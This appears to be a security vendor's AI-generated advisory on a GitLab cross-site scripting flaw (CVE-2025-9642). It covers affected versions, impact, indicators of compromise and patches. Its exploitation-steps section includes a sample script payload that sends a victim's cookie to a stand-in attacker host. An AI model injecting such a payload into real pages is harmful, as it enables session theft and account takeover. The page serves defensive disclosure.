CVE-2025-9642
GitLab vulnerability analysis and mitigation

Overview

CVE-2025-9642 is a Cross-Site Scripting (XSS) vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE) that allows attackers to inject malicious content potentially leading to account takeover. It affects all GitLab versions from 14.10 before 18.2.7, 18.3 before 18.3.3, and 18.4 before 18.4.1. The vulnerability was disclosed on September 26, 2025, with patches released the same day. NVD assigns a CVSS v3.1 base score of 9.6 (Critical), while GitLab's own CNA scoring yields 8.7 (High) (GitLab Advisory, Red Hat CVE).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), rooted in insufficient input validation during web page generation within GitLab's interface. An attacker can craft and inject malicious content (e.g., JavaScript payloads) into GitLab pages that, when rendered in a victim's browser, execute in the context of the GitLab application. Exploitation requires user interaction (the victim must visit or interact with attacker-controlled content), and no authentication is required per NVD's scoring, though GitLab's own CNA scoring indicates low-privilege access is needed. The vulnerability was originally reported via HackerOne (report #3297413) and tracked internally at GitLab issue #566505 (Red Hat CVE, GitLab Advisory).

Impact

Successful exploitation can lead to full account takeover, granting attackers unauthorized access to victim GitLab accounts, including control over repositories, CI/CD pipelines, secrets, and sensitive project data. The NVD-assessed impact is high across confidentiality, integrity, and availability, with a changed scope indicating the attack can affect resources beyond the vulnerable component itself. In organizational environments, a compromised GitLab account could enable lateral movement into source code, deployment infrastructure, or connected services (Red Hat CVE, GitLab Advisory).

Exploitability

As of the disclosure date, there was no confirmed evidence of active in-the-wild exploitation, and no public proof-of-concept was initially available. However, a blog post published on October 6, 2025 claimed a public exploit was available for this vulnerability (CryptoBivash Blog). The EPSS score is approximately 0.018% (0.000180), indicating a currently low probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog as of the time of reporting, though CISA referenced it in its weekly vulnerability bulletin for the week of September 22, 2025 (CISA Bulletin).

Exploitation steps

  1. Reconnaissance: Identify GitLab CE/EE instances running affected versions (14.10–18.2.6, 18.3.0–18.3.2, or 18.4.0) using tools like Shodan, Censys, or by inspecting GitLab's version disclosure page (/help).
  2. Identify injection point: Locate a GitLab feature that renders user-supplied content without adequate sanitization — such as issue descriptions, comments, wiki pages, or merge request fields.
  3. Craft XSS payload: Construct a malicious JavaScript payload designed to steal session tokens or perform actions on behalf of the victim (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a more sophisticated payload using fetch() to exfiltrate tokens).
  4. Deliver payload: Inject the payload into a GitLab resource (e.g., an issue or comment) and share the link with a target user, or embed it in a publicly accessible project page.
  5. Victim interaction: When the target user views the malicious content in their browser, the injected script executes in the GitLab application context.
  6. Account takeover: The script exfiltrates the victim's session cookie or authentication token to an attacker-controlled server, which the attacker then uses to hijack the account (CryptoBivash Blog, Red Hat CVE).

Indicators of compromise

  • Network: Outbound HTTP requests from a victim's browser to unexpected external domains shortly after accessing GitLab pages; unusual GET/POST requests to attacker-controlled URLs containing encoded cookie or token data.
  • Logs: GitLab application logs showing access to pages with unusual or encoded content in URL parameters or POST bodies; multiple rapid API calls from a user's session originating from a different IP address than their normal login.
  • Authentication: Concurrent or geographically anomalous login sessions for the same user account; session tokens being used from IP addresses inconsistent with the user's normal access patterns.
  • User Activity: Unexpected repository access, CI/CD pipeline modifications, or SSH key additions under a user account that the legitimate user did not perform.

Mitigation and workarounds

GitLab has released patched versions addressing this vulnerability: 18.2.7, 18.3.3, and 18.4.1. All GitLab CE/EE administrators should upgrade to one of these versions immediately. For organizations unable to patch immediately, recommended interim controls include restricting GitLab access to trusted network segments, enforcing multi-factor authentication (MFA) to limit the impact of session hijacking, and monitoring for anomalous account activity. Users should be advised to avoid clicking unsolicited links to GitLab pages (GitLab Advisory).

Community reactions

GitLab disclosed the vulnerability through its standard patch release process on September 25–26, 2025, alongside several other fixes in the 18.4.1, 18.3.3, and 18.2.7 releases. CISA included the CVE in its weekly vulnerability bulletin for the week of September 22, 2025, signaling broader government awareness. A blog post from October 6, 2025 claimed a public exploit was available and characterized the flaw as leading "directly to account takeover," though the reliability of this source is unverified. Qualys and Tenable both published detection plugins for the vulnerability shortly after disclosure (GitLab Advisory, CISA Bulletin).

Additional resources


SourceThis report was generated using AI

Related GitLab vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-16553MEDIUM5.4
  • GitLab logoGitLab
  • cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
NoYesJul 29, 2026
CVE-2026-6336MEDIUM5.3
  • GitLab logoGitLab
  • gitlab-rails-ce-18.9
NoYesJul 29, 2026
CVE-2026-6267MEDIUM5.3
  • GitLab logoGitLab
  • gitlab-rails-ce-fips-18.11
NoYesJul 29, 2026
CVE-2026-3093MEDIUM4.7
  • GitLab logoGitLab
  • gitlab-runner-fips-18.11
NoYesJul 29, 2026
CVE-2026-4672MEDIUM4.3
  • GitLab logoGitLab
  • cpe:2.3:a:gitlab:gitlab
NoYesJul 29, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management